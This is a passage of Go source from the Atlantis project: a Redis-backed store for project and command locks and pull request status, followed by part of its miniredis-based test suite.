the "pr/" prefix to validate the key format keyWithoutPrefix := strings.TrimPrefix(oldKey, "pr/") _, err := locking.IsCurrentLocking(keyWithoutPrefix) if err != nil { var currLock models.ProjectLock oldValue, err := rdb.Get(ctx, oldKey).Result() if err != nil { return nil, errors.Wrap(err, "failed to get current lock") } if err := json.Unmarshal([]byte(oldValue), &currLock); err != nil { return nil, errors.Wrap(err, "failed to deserialize current lock") } newKey := fmt.Sprintf("pr/%s", models.GenerateLockKey(currLock.Project, currLock.Workspace)) rdb.Set(ctx, newKey, oldValue, 0) rdb.Del(ctx, oldKey) } } return &RedisDB{ client: rdb, }, nil } // NewWithClient is used for testing. func NewWithClient(client *redis.Client, _ string, _ string) (*RedisDB, error) { return &RedisDB{ client: client, }, nil } // TryLock attempts to create a new lock. If the lock is // acquired, it will return true and the lock returned will be newLock. // If the lock is not acquired, it will return false and the current // lock that is preventing this lock from being acquired. func (r *RedisDB) TryLock(newLock models.ProjectLock) (bool, models.ProjectLock, error) { var currLock models.ProjectLock key := r.lockKey(newLock.Project, newLock.Workspace) newLockSerialized, _ := json.Marshal(newLock) val, err := r.client.Get(ctx, key).Result() // if there is no run at that key then we're free to create the lock if err == redis.Nil { err := r.client.Set(ctx, key, newLockSerialized, 0).Err() if err != nil { return false, currLock, fmt.Errorf("db transaction failed: %w", err) } return true, newLock, nil } else if err != nil { // otherwise the lock fails, return to caller the run that's holding the lock return false, currLock, fmt.Errorf("db transaction failed: %w", err) } if err := json.Unmarshal([]byte(val), &currLock); err != nil { return false, currLock, fmt.Errorf("failed to deserialize current lock: %w", err) } return false, currLock, nil } // Unlock attempts to unlock the project and workspace. // If there is no lock, then it will return a nil pointer. // If there is a lock, then it will delete it, and then return a pointer // to the deleted lock. func (r *RedisDB) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) { var lock models.ProjectLock key := r.lockKey(project, workspace) val, err := r.client.Get(ctx, key).Result() if err == redis.Nil { return nil, nil } else if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } if err := json.Unmarshal([]byte(val), &lock); err != nil { return nil, fmt.Errorf("failed to deserialize current lock: %w", err) } r.client.Del(ctx, key) return &lock, nil } // List lists all current locks. func (r *RedisDB) List() ([]models.ProjectLock, error) { var locks []models.ProjectLock iter := r.client.Scan(ctx, 0, "pr*", 0).Iterator() for iter.Next(ctx) { var lock models.ProjectLock val, err := r.client.Get(ctx, iter.Val()).Result() if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } if err := json.Unmarshal([]byte(val), &lock); err != nil { return locks, fmt.Errorf("failed to deserialize lock at key '%s': %w", iter.Val(), err) } locks = append(locks, lock) } if err := iter.Err(); err != nil { return locks, fmt.Errorf("db transaction failed: %w", err) } return locks, nil } // GetLock returns a pointer to the lock for that project and workspace. // If there is no lock, it returns a nil pointer. func (r *RedisDB) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) { key := r.lockKey(project, workspace) val, err := r.client.Get(ctx, key).Result() if err == redis.Nil { return nil, nil } else if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } var lock models.ProjectLock if err := json.Unmarshal([]byte(val), &lock); err != nil { return nil, fmt.Errorf("deserializing lock at key %q: %w", key, err) } // need to set it to Local after deserialization due to https://github.com/golang/go/issues/19486 lock.Time = lock.Time.Local() return &lock, nil } // UnlockByPull deletes all locks associated with that pull request and returns them. func (r *RedisDB) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { var locks []models.ProjectLock iter := r.client.Scan(ctx, 0, fmt.Sprintf("pr/%s*", repoFullName), 0).Iterator() for iter.Next(ctx) { var lock models.ProjectLock val, err := r.client.Get(ctx, iter.Val()).Result() if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } if err := json.Unmarshal([]byte(val), &lock); err != nil { return locks, fmt.Errorf("failed to deserialize lock at key '%s': %w", iter.Val(), err) } if lock.Pull.Num == pullNum { locks = append(locks, lock) if _, err := r.Unlock(lock.Project, lock.Workspace); err != nil { return locks, fmt.Errorf("unlocking repo %s, path %s, workspace %s: %w", lock.Project.RepoFullName, lock.Project.Path, lock.Workspace, err) } } } if err := iter.Err(); err != nil { return locks, fmt.Errorf("db transaction failed: %w", err) } return locks, nil } func (r *RedisDB) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) { lock := command.Lock{ CommandName: cmdName, LockMetadata: command.LockMetadata{ UnixTime: lockTime.Unix(), }, } cmdLockKey := r.commandLockKey(cmdName) newLockSerialized, _ := json.Marshal(lock) _, err := r.client.Get(ctx, cmdLockKey).Result() if err == redis.Nil { err = r.client.Set(ctx, cmdLockKey, newLockSerialized, 0).Err() if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } return &lock, nil } else if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } return nil, errors.New("db transaction failed: lock already exists") } func (r *RedisDB) UnlockCommand(cmdName command.Name) error { cmdLockKey := r.commandLockKey(cmdName) _, err := r.client.Get(ctx, cmdLockKey).Result() if err == redis.Nil { return errors.New("db transaction failed: no lock exists") } else if err != nil { return fmt.Errorf("db transaction failed: %w", err) } return r.client.Del(ctx, cmdLockKey).Err() } func (r *RedisDB) CheckCommandLock(cmdName command.Name) (*command.Lock, error) { cmdLock := command.Lock{} cmdLockKey := r.commandLockKey(cmdName) val, err := r.client.Get(ctx, cmdLockKey).Result() if err == redis.Nil { return nil, nil } else if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } if err := json.Unmarshal([]byte(val), &cmdLock); err != nil { return nil, fmt.Errorf("failed to deserialize Lock: %w", err) } return &cmdLock, err } // UpdateProjectStatus updates pull's status with the latest project results. // It returns the new PullStatus object. func (r *RedisDB) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error { key, err := r.pullKey(pull) if err != nil { return err } currStatusPtr, err := r.getPull(key) if err != nil { return err } if currStatusPtr == nil { return nil } currStatus := *currStatusPtr // Update the status. for i := range currStatus.Projects { // NOTE: We're using a reference here because we are // in-place updating its Status field. proj := &currStatus.Projects[i] if proj.Workspace == workspace && proj.RepoRelDir == repoRelDir { proj.Status = newStatus break } } err = r.writePull(key, currStatus) if err != nil { return fmt.Errorf("db transaction failed: %w", err) } return nil } func (r *RedisDB) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) { key, err := r.pullKey(pull) if err != nil { return nil, err } pullStatus, err := r.getPull(key) if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } return pullStatus, nil } func (r *RedisDB) DeletePullStatus(pull models.PullRequest) error { key, err := r.pullKey(pull) if err != nil { return err } err = r.deletePull(key) if err != nil { return fmt.Errorf("db transaction failed: %w", err) } return nil } func (r *RedisDB) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) { key, err := r.pullKey(pull) if err != nil { return models.PullStatus{}, err } var newStatus models.PullStatus currStatus, err := r.getPull(key) if err != nil { return newStatus, fmt.Errorf("db transaction failed: %w", err) } // If there is no pull OR if the pull we have is out of date, we // just write a new pull. if currStatus == nil || currStatus.Pull.HeadCommit != pull.HeadCommit { var statuses []models.ProjectStatus for _, res := range newResults { statuses = append(statuses, r.projectResultToProject(res)) } newStatus = models.PullStatus{ Pull: pull, Projects: statuses, } } else { // If there's an existing pull at the right commit then we have to // merge our project results with the existing ones. We do a merge // because it's possible a user is just applying a single project // in this command and so we don't want to delete our data about // other projects that aren't affected by this command. newStatus = *currStatus for _, res := range newResults { // First, check if we should update any existing projects. updatedExisting := false for i := range newStatus.Projects { // NOTE: We're using a reference here because we are // in-place updating its Status field. proj := &newStatus.Projects[i] if res.Workspace == proj.Workspace && res.RepoRelDir == proj.RepoRelDir && res.ProjectName == proj.ProjectName { proj.Status = res.PlanStatus() // Updating only policy sets which are included in results; keeping the rest. if len(proj.PolicyStatus) > 0 { for i, oldPolicySet := range proj.PolicyStatus { for _, newPolicySet := range res.PolicyStatus() { if oldPolicySet.PolicySetName == newPolicySet.PolicySetName { proj.PolicyStatus[i] = newPolicySet } } } } else { proj.PolicyStatus = res.PolicyStatus() } updatedExisting = true break } } if !updatedExisting { // If we didn't update an existing project, then we need to // add this because it's a new one. newStatus.Projects = append(newStatus.Projects, r.projectResultToProject(res)) } } } // Now, we overwrite the key with our new status. err = r.writePull(key, newStatus) if err != nil { return models.PullStatus{}, fmt.Errorf("db transaction failed: %w", err) } return newStatus, nil } func (r *RedisDB) getPull(key string) (*models.PullStatus, error) { val, err := r.client.Get(ctx, key).Result() if err == redis.Nil { return nil, nil } else if err != nil { return nil, fmt.Errorf("db transaction failed: %w", err) } var p models.PullStatus if err := json.Unmarshal([]byte(val), &p); err != nil { return nil, fmt.Errorf("deserializing pull at %q with contents %q: %w", key, val, err) } return &p, nil } func (r *RedisDB) writePull(key string, pull models.PullStatus) error { serialized, err := json.Marshal(pull) if err != nil { return fmt.Errorf("serializing: %w", err) } err = r.client.Set(ctx, key, serialized, 0).Err() if err != nil { return fmt.Errorf("DB Transaction failed: %w", err) } return nil } func (r *RedisDB) deletePull(key string) error { err := r.client.Del(ctx, key).Err() if err != nil { return fmt.Errorf("DB Transaction failed: %w", err) } return nil } func (r *RedisDB) lockKey(p models.Project, workspace string) string { return fmt.Sprintf("pr/%s", models.GenerateLockKey(p, workspace)) } func (r *RedisDB) commandLockKey(cmdName command.Name) string { return fmt.Sprintf("global/%s/lock", cmdName) } func (r *RedisDB) pullKey(pull models.PullRequest) (string, error) { hostname := pull.BaseRepo.VCSHost.Hostname if strings.Contains(hostname, pullKeySeparator) { return "", fmt.Errorf("vcs hostname %q contains illegal string %q", hostname, pullKeySeparator) } repo := pull.BaseRepo.FullName if strings.Contains(repo, pullKeySeparator) { return "", fmt.Errorf("repo name %q contains illegal string %q", hostname, pullKeySeparator) } return fmt.Sprintf("%s::%s::%d", hostname, repo, pull.Num), nil } func (r *RedisDB) projectResultToProject(p command.ProjectResult) models.ProjectStatus { return models.ProjectStatus{ Workspace: p.Workspace, RepoRelDir: p.RepoRelDir, ProjectName: p.ProjectName, PolicyStatus: p.PolicyStatus(), Status: p.PlanStatus(), } } func (r *RedisDB) Close() error { return r.client.Close() } ================================================ FILE: server/core/redis/redis_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package redis_test import ( "bytes" "context" "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/json" "encoding/pem" "fmt" "math/big" "net" "os" "testing" "time" "github.com/alicebob/miniredis/v2" "github.com/pkg/errors" redisLib "github.com/redis/go-redis/v9" "github.com/runatlantis/atlantis/server/core/redis" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" ) var project = models.NewProject("owner/repo", "parent/child", "") var workspace = "default" var pullNum = 1 var lock = models.ProjectLock{ Pull: models.PullRequest{ Num: pullNum, }, User: models.User{ Username: "lkysow", }, Workspace: workspace, Project: project, Time: time.Now(), } var ( cert tls.Certificate caPath string ) func TestRedisWithTLS(t *testing.T) { t.Log("connecting to redis over TLS") // Setup the Miniredis Server for TLS certBytes, keyBytes, err := generateLocalhostCert() Ok(t, err) certOut := new(bytes.Buffer) err = pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: certBytes}) Ok(t, err) certData := certOut.Bytes() keyOut := new(bytes.Buffer) err = pem.Encode(keyOut, &pem.Block{Type: "PRIVATE KEY", Bytes: keyBytes}) Ok(t, err) cert, err = tls.X509KeyPair(certData, keyOut.Bytes()) Ok(t, err) certFile, err := os.CreateTemp("", "cert.*.pem") Ok(t, err) caPath = certFile.Name() _, err = certFile.Write(certData) Ok(t, err) defer certFile.Close() tlsConfig := &tls.Config{ Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true, //nolint:gosec // This is purely for testing } // Start Server and Connect s := miniredis.NewMiniRedis() if err := s.StartTLS(tlsConfig); err != nil { t.Fatalf("could not start miniredis: %s", err) // not reached } t.Cleanup(s.Close) _ = newTestRedisTLS(s) } func TestLockCommandNotSet(t *testing.T) { t.Log("retrieving apply lock when there are none should return empty LockCommand") s := miniredis.RunT(t) r := newTestRedis(s) exists, err := r.CheckCommandLock(command.Apply) Ok(t, err) Assert(t, exists == nil, "exp nil") } func TestLockCommandEnabled(t *testing.T) { t.Log("setting the apply lock") s := miniredis.RunT(t) r := newTestRedis(s) timeNow := time.Now() _, err := r.LockCommand(command.Apply, timeNow) Ok(t, err) config, err := r.CheckCommandLock(command.Apply) Ok(t, err) Equals(t, true, config.IsLocked()) } func TestLockCommandFail(t *testing.T) { t.Log("setting the apply lock") s := miniredis.RunT(t) r := newTestRedis(s) timeNow := time.Now() _, err := r.LockCommand(command.Apply, timeNow) Ok(t, err) _, err = r.LockCommand(command.Apply, timeNow) ErrEquals(t, "db transaction failed: lock already exists", err) } func TestUnlockCommandDisabled(t *testing.T) { t.Log("unsetting the apply lock") s := miniredis.RunT(t) r := newTestRedis(s) timeNow := time.Now() _, err := r.LockCommand(command.Apply, timeNow) Ok(t, err) config, err := r.CheckCommandLock(command.Apply) Ok(t, err) Equals(t, true, config.IsLocked()) err = r.UnlockCommand(command.Apply) Ok(t, err) config, err = r.CheckCommandLock(command.Apply) Ok(t, err) Assert(t, config == nil, "exp nil object") } func TestUnlockCommandFail(t *testing.T) { t.Log("setting the apply lock") s := miniredis.RunT(t) r := newTestRedis(s) err := r.UnlockCommand(command.Apply) ErrEquals(t, "db transaction failed: no lock exists", err) } func TestMigrationOldLockKeysToNewFormat(t *testing.T) { t.Log("migration should convert old format keys to new format with project name") s := miniredis.RunT(t) // Create a direct redis client to set up old format locks client := redisLib.NewClient(&redisLib.Options{ Addr: s.Addr(), }) defer client.Close() // Create a lock in old format: {repoFullName}/{path}/{workspace} oldKey := "pr/owner/repo/path/default" oldProject := models.NewProject("owner/repo", "path", "myproject") oldLock := models.ProjectLock{ Pull: models.PullRequest{Num: 1}, User: models.User{Username: "testuser"}, Workspace: "default", Project: oldProject, Time: time.Now(), } oldLockSerialized, err := json.Marshal(oldLock) Ok(t, err) // Insert old format lock directly err = client.Set(context.Background(), oldKey, oldLockSerialized, 0).Err() Ok(t, err) // Verify old key exists before migration val, err := client.Get(context.Background(), oldKey).Result() Ok(t, err) Assert(t, val != "", "old key should exist before migration") // Now create a new Redis instance which should trigger the migration r, err := redis.New(s.Host(), s.Server().Addr().Port, "", false, false, 0) Ok(t, err) // Verify the old key no longer exists _, err = client.Get(context.Background(), oldKey).Result() Assert(t, err != nil, "old key should be deleted after migration") // Verify the new key exists with correct format retrievedLock, err := r.GetLock(oldProject, "default") Ok(t, err) Assert(t, retrievedLock != nil, "lock should exist with new key format") Equals(t, "owner/repo", retrievedLock.Project.RepoFullName) Equals(t, "path", retrievedLock.Project.Path) Equals(t, "myproject", retrievedLock.Project.ProjectName) Equals(t, "default", retrievedLock.Workspace) Equals(t, "testuser", retrievedLock.User.Username) } func TestNoMigrationNeededForNewFormatKeys(t *testing.T) { t.Log("migration should not affect keys already in new format") s := miniredis.RunT(t) r := newTestRedis(s) // Create a lock with the new format (includes project name) projectWithName := models.NewProject("owner/repo", "path", "projectName") newLock := models.ProjectLock{ Pull: models.PullRequest{Num: 1}, User: models.User{Username: "testuser"}, Workspace: "default", Project: projectWithName, Time: time.Now(), } // Try to lock using the new format acquired, _, err := r.TryLock(newLock) Ok(t, err) Assert(t, acquired, "should acquire lock") // Verify the lock was created and can be retrieved with the correct key format retrievedLock, err := r.GetLock(projectWithName, "default") Ok(t, err) Assert(t, retrievedLock != nil, "lock should exist") Equals(t, "projectName", retrievedLock.Project.ProjectName) Equals(t, "testuser", retrievedLock.User.Username) // Close the current Redis connection and create a new one // This simulates a restart which would trigger the migration logic r.Close() r = newTestRedis(s) defer r.Close() // Verify lock still exists after "migration" retrievedLock, err = r.GetLock(projectWithName, "default") Ok(t, err) Assert(t, retrievedLock != nil, "lock should exist") Equals(t, "projectName", retrievedLock.Project.ProjectName) Equals(t, "testuser", retrievedLock.User.Username) } func TestMixedLocksPresent(t *testing.T) { s := miniredis.RunT(t) r := newTestRedis(s) timeNow := time.Now() _, err := r.LockCommand(command.Apply, timeNow) Ok(t, err) _, _, err = r.TryLock(lock) Ok(t, err) ls, err := r.List() Ok(t, err) Equals(t, 1, len(ls)) } func TestListNoLocks(t *testing.T) { t.Log("listing locks when there are none should return an empty list") s := miniredis.RunT(t) r := newTestRedis(s) ls, err := r.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestListOneLock(t *testing.T) { t.Log("listing locks when there is one should return it") s := miniredis.RunT(t) r := newTestRedis(s) _, _, err := r.TryLock(lock) Ok(t, err) ls, err := r.List() Ok(t, err) Equals(t, 1, len(ls)) } func TestListMultipleLocks(t *testing.T) { t.Log("listing locks when there are multiple should return them") s := miniredis.RunT(t) rdb := newTestRedis(s) // add multiple locks repos := []string{ "owner/repo1", "owner/repo2", "owner/repo3", "owner/repo4", } for _, r := range repos { newLock := lock newLock.Project = models.NewProject(r, "path", "") _, _, err := rdb.TryLock(newLock) Ok(t, err) } ls, err := rdb.List() Ok(t, err) Equals(t, 4, len(ls)) for _, r := range repos { found := false for _, l := range ls { if l.Project.RepoFullName == r { found = true } } Assert(t, found, "expected %s in %v", r, ls) } } func TestListAddRemove(t *testing.T) { t.Log("listing after adding and removing should return none") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) _, err = rdb.Unlock(project, workspace) Ok(t, err) ls, err := rdb.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestLockingNoLocks(t *testing.T) { t.Log("with no locks yet, lock should succeed") s := miniredis.RunT(t) rdb := newTestRedis(s) acquired, currLock, err := rdb.TryLock(lock) Ok(t, err) Equals(t, true, acquired) Equals(t, lock, currLock) } func TestLockingExistingLock(t *testing.T) { t.Log("if there is an existing lock, lock should...") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) t.Log("...succeed if the new project has a different path") { newLock := lock newLock.Project = models.NewProject(project.RepoFullName, "different/path", "") acquired, currLock, err := rdb.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, pullNum, currLock.Pull.Num) } t.Log("...succeed if the new project has a different workspace") { newLock := lock newLock.Workspace = "different-workspace" acquired, currLock, err := rdb.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } t.Log("...succeed if the new project has a different repoName") { newLock := lock newLock.Project = models.NewProject("different/repo", project.Path, "") acquired, currLock, err := rdb.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } // TODO: How should we handle different name? /* t.Log("...succeed if the new project has a different name") { newLock := lock newLock.Project = models.NewProject(project.RepoFullName, project.Path, "different-name") acquired, currLock, err := rdb.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } */ t.Log("...not succeed if the new project only has a different pullNum") { newLock := lock newLock.Pull.Num = lock.Pull.Num + 1 acquired, currLock, err := rdb.TryLock(newLock) Ok(t, err) Equals(t, false, acquired) Equals(t, currLock.Pull.Num, pullNum) } } func TestUnlockingNoLocks(t *testing.T) { t.Log("unlocking with no locks should succeed") s := miniredis.RunT(t) rdb := newTestRedis(s) _, err := rdb.Unlock(project, workspace) Ok(t, err) } func TestUnlocking(t *testing.T) { t.Log("unlocking with an existing lock should succeed") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) _, err = rdb.Unlock(project, workspace) Ok(t, err) // should be no locks listed ls, err := rdb.List() Ok(t, err) Equals(t, 0, len(ls)) // should be able to re-lock that repo with a new pull num newLock := lock newLock.Pull.Num = lock.Pull.Num + 1 acquired, currLock, err := rdb.TryLock(newLock) Ok(t, err) Equals(t, true, acquired) Equals(t, newLock, currLock) } func TestUnlockingMultiple(t *testing.T) { t.Log("unlocking and locking multiple locks should succeed") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) new1 := lock new1.Project.RepoFullName = "new/repo" _, _, err = rdb.TryLock(new1) Ok(t, err) new2 := lock new2.Project.Path = "new/path" _, _, err = rdb.TryLock(new2) Ok(t, err) new3 := lock new3.Workspace = "new-workspace" _, _, err = rdb.TryLock(new3) Ok(t, err) // now try and unlock them _, err = rdb.Unlock(new3.Project, new3.Workspace) Ok(t, err) _, err = rdb.Unlock(new2.Project, workspace) Ok(t, err) _, err = rdb.Unlock(new1.Project, workspace) Ok(t, err) _, err = rdb.Unlock(project, workspace) Ok(t, err) // should be none left ls, err := rdb.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestUnlockByPullNone(t *testing.T) { t.Log("UnlockByPull should be successful when there are no locks") s := miniredis.RunT(t) rdb := newTestRedis(s) _, err := rdb.UnlockByPull("any/repo", 1) Ok(t, err) } func TestUnlockByPullOne(t *testing.T) { t.Log("with one lock, UnlockByPull should...") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) t.Log("...delete nothing when its the same repo but a different pull") { _, err := rdb.UnlockByPull(project.RepoFullName, pullNum+1) Ok(t, err) ls, err := rdb.List() Ok(t, err) Equals(t, 1, len(ls)) } t.Log("...delete nothing when its the same pull but a different repo") { _, err := rdb.UnlockByPull("different/repo", pullNum) Ok(t, err) ls, err := rdb.List() Ok(t, err) Equals(t, 1, len(ls)) } t.Log("...delete the lock when its the same repo and pull") { _, err := rdb.UnlockByPull(project.RepoFullName, pullNum) Ok(t, err) ls, err := rdb.List() Ok(t, err) Equals(t, 0, len(ls)) } } func TestUnlockByPullAfterUnlock(t *testing.T) { t.Log("after locking and unlocking, UnlockByPull should be successful") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) _, err = rdb.Unlock(project, workspace) Ok(t, err) _, err = rdb.UnlockByPull(project.RepoFullName, pullNum) Ok(t, err) ls, err := rdb.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestUnlockByPullMatching(t *testing.T) { t.Log("UnlockByPull should delete all locks in that repo and pull num") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) // add additional locks with the same repo and pull num but different paths/workspaces new1 := lock new1.Project.Path = "dif/path" _, _, err = rdb.TryLock(new1) Ok(t, err) new2 := lock new2.Workspace = "new-workspace" _, _, err = rdb.TryLock(new2) Ok(t, err) // there should now be 3 ls, err := rdb.List() Ok(t, err) Equals(t, 3, len(ls)) // should all be unlocked _, err = rdb.UnlockByPull(project.RepoFullName, pullNum) Ok(t, err) ls, err = rdb.List() Ok(t, err) Equals(t, 0, len(ls)) } func TestGetLockNotThere(t *testing.T) { t.Log("getting a lock that doesn't exist should return a nil pointer") s := miniredis.RunT(t) rdb := newTestRedis(s) l, err := rdb.GetLock(project, workspace) Ok(t, err) Equals(t, (*models.ProjectLock)(nil), l) } func TestGetLock(t *testing.T) { t.Log("getting a lock should return the lock") s := miniredis.RunT(t) rdb := newTestRedis(s) _, _, err := rdb.TryLock(lock) Ok(t, err) l, err := rdb.GetLock(project, workspace) Ok(t, err) // can't compare against time so doing each field Equals(t, lock.Project, l.Project) Equals(t, lock.Workspace, l.Workspace) Equals(t, lock.Pull, l.Pull) Equals(t, lock.User, l.User) } // Test we can create a status and then getCommandLock it. func TestPullStatus_UpdateGet(t *testing.T) { s := miniredis.RunT(t) rdb := newTestRedis(s) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } status, err := rdb.UpdatePullWithResults( pull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }) Ok(t, err) maybeStatus, err := rdb.GetPullStatus(pull) Ok(t, err) Equals(t, pull, maybeStatus.Pull) // nolint: staticcheck Equals(t, []models.ProjectStatus{ { Workspace: "default", RepoRelDir: ".", ProjectName: "", Status: models.ErroredPlanStatus, }, }, status.Projects) } // Test we can create a status, delete it, and then we shouldn't be able to getCommandLock // it. func TestPullStatus_UpdateDeleteGet(t *testing.T) { s := miniredis.RunT(t) rdb := newTestRedis(s) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := rdb.UpdatePullWithResults( pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }) Ok(t, err) err = rdb.DeletePullStatus(pull) Ok(t, err) maybeStatus, err := rdb.GetPullStatus(pull) Ok(t, err) Assert(t, maybeStatus == nil, "exp nil") } // Test we can create a status, update a specific project's status within that // pull status, and when we getCommandLock all the project statuses, that specific project // should be updated. func TestPullStatus_UpdateProject(t *testing.T) { s := miniredis.RunT(t) rdb := newTestRedis(s) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := rdb.UpdatePullWithResults( pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success!", }, }, }) Ok(t, err) err = rdb.UpdateProjectStatus(pull, "default", ".", models.DiscardedPlanStatus) Ok(t, err) status, err := rdb.GetPullStatus(pull) Ok(t, err) Equals(t, pull, status.Pull) // nolint: staticcheck Equals(t, []models.ProjectStatus{ { Workspace: "default", RepoRelDir: ".", ProjectName: "", Status: models.DiscardedPlanStatus, }, { Workspace: "staging", RepoRelDir: ".", ProjectName: "", Status: models.AppliedPlanStatus, }, }, status.Projects) // nolint: staticcheck } // Test that if we update an existing pull status and our new status is for a // different HeadSHA, that we just overwrite the old status. func TestPullStatus_UpdateNewCommit(t *testing.T) { s := miniredis.RunT(t) rdb := newTestRedis(s) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := rdb.UpdatePullWithResults( pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }) Ok(t, err) pull.HeadCommit = "newsha" status, err := rdb.UpdatePullWithResults(pull, []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success!", }, }, }) Ok(t, err) Equals(t, 1, len(status.Projects)) maybeStatus, err := rdb.GetPullStatus(pull) Ok(t, err) Equals(t, pull, maybeStatus.Pull) Equals(t, []models.ProjectStatus{ { Workspace: "staging", RepoRelDir: ".", ProjectName: "", Status: models.AppliedPlanStatus, }, }, maybeStatus.Projects) } // Test that if we update an existing pull status via Apply and our new status is for a // the same commit, that we merge the statuses. func TestPullStatus_UpdateMerge_Apply(t *testing.T) { s := miniredis.RunT(t) rdb := newTestRedis(s) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := rdb.UpdatePullWithResults( pull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Command: command.Plan, RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Command: command.Plan, RepoRelDir: "staythesame", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "tf out", LockURL: "lock-url", RePlanCmd: "plan command", ApplyCmd: "apply command", }, }, }, }) Ok(t, err) updateStatus, err := rdb.UpdatePullWithResults(pull, []command.ProjectResult{ { Command: command.Apply, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "applied!", }, }, { Command: command.Apply, RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("apply error"), }, }, { Command: command.Apply, RepoRelDir: "newresult", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success!", }, }, }) Ok(t, err) getStatus, err := 